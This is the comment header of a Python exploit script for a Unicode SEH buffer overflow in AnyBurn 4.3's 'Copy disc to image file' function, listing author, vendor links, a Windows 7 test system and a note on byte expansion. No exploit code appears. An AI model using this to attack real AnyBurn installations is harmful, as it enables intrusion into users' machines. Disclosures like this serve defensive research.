#!/usr/bin/python # Exploit Title: Anyburn 4.3 - 'Copy disc to image file' Buffer Overflow - (UNICODE)(SEH) # Version: 4.3 # Date: 07-03-2019 # Author: Hodorsec (hodorsec@protonmail.com / hodor@hodorsec.com) # Vendor Homepage: http://www.anyburn.com/ # Software Link: http://www.anyburn.com/download.php # Tested on: Win7 x86 SP1 build 7601 # Caveats: - Heavy character expansion from byte range 0x80 until 0x9f.
